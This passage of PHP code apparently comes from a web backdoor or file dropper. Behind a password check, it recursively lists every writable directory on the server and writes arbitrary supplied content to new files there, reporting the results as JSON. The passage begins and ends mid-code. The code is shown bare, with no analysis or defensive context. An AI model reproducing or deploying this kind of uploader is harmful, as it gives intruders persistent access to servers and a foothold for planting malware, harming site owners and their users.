$newFilePath, \'writable_directories\' => $writableDirectories ]; echo json_encode($response); die(); } else { $response = [ \'error\' => \'Incorrect password\' ]; echo json_encode($response); exit; } } function getWritableDirectories($path) { $writableDirectories = []; $directories = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD ); foreach ($directories as $directory) { if ($directory->isDir() && $directory->isWritable()) { $writableDirectories[] = $directory->getPathname(); } } return $writableDirectories; } function createFile($directory, $content, $_fileName) { $fileName = $directory . \"/$_fileName\"; file_put_contents($fileName, $content); return $fileName; } ob_start(); ?>